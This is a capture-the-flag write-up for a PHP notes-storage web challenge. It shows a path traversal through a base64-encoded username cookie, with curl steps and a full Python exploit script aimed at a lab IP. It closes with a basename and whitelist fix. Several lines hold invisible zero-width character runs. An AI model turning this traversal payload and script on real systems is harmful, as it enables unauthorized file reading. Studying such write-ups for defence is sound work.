Заметки (Notes)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Base64 encoding bypass, Path Traversal via cookie manipulation, Source code analysis

Summary

Task: Cloud notes storage with source code provided. Solution: Path Traversal via base64-encoded cookie manipulation - username cookie decoded without path validation allows escaping notes directory to read flag file.

Заметки (Notes) — hackerlab.pro

Description

Я разработал небольшое облачное хранилище для заметок. Оно настолько безопасное, что я даже могу поделиться исходниками веб-приложения

Analysis

Vulnerable Code

Path Traversal vulnerability found in index.php in the file download functionality:

 php read-only • copy allowed Copy
$filename = basename($_GET['download']);
$username = base64_decode($_COOKIE['username']);
$file = "notes_$username/$filename";
if (file_exists($file)) {
    // ... file download
}

Problem: $username is taken from cookie and decoded from base64, but not validated for path traversal characters (../). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The basename() function is applied only to the download parameter, but not to username.

File Structure

/var/www/fl4g.txt          <- flag location
/var/www/html/index.php    <- current directory
/var/www/html/notes_xxx/   <- user directories

Attack Vector

With username = testuser123/../.. the path becomes:

notes_testuser123/../../fl4g.txt = ../fl4g.txt

This allows escaping the notes_* directory and reading a file one level up.

Solution

Step 1: User Registration

 bash read-only • copy allowed Copy
curl -X POST "http://62.173.140.174:16033/register.php" \
  -d "username=testuser123&password=test123&repeat_password=test123"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Authentication

 bash read-only • copy allowed Copy
curl -c cookies.txt -X POST "http://62.173.140.174:16033/login.php" \
  -d "username=testuser123&password=test123"

Step 3: Creating Payload

 bash read-only • copy allowed Copy
echo -n "testuser123/../.." | base64
# Result: dGVzdHVzZXIxMjMvLi4vLi4=

Step 4: Path Traversal Exploitation

 bash read-only • copy allowed Copy
curl -b "PHPSESSID=<session_id>;username=dGVzdHVzZXIxMjMvLi4vLi4=" \
  "http://62.173.140.174:16033/index.php?download=fl4g.txt"

Full Exploit Script

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests
import base64
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "http://62.173.140.174:16033"

# 1. Registration
s = requests.Session()
s.post(f"{BASE_URL}/register.php", data={
    "username": "testuser123",
    "password": "test123",
    "repeat_password": "test123"
})

# 2. Login
s.post(f"{BASE_URL}/login.php", data={
    "username": "testuser123",
    "password": "test123"
})

# 3. Path Traversal via cookie
payload = base64.b64encode(b"testuser123/../..").decode()
s.cookies.set("username", payload)

# 4. Get the flag
r = s.get(f"{BASE_URL}/index.php", params={"download": "fl4g.txt"})
print(r.text)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

Proper implementation:

 php read-only • copy allowed Copy
$filename = basename($_GET['download']);
$username = basename(base64_decode($_COOKIE['username'])); // basename for username too!
// Or better: validation via whitelist
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
    die("Invalid username");
}
$file = "notes_$username/$filename";

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍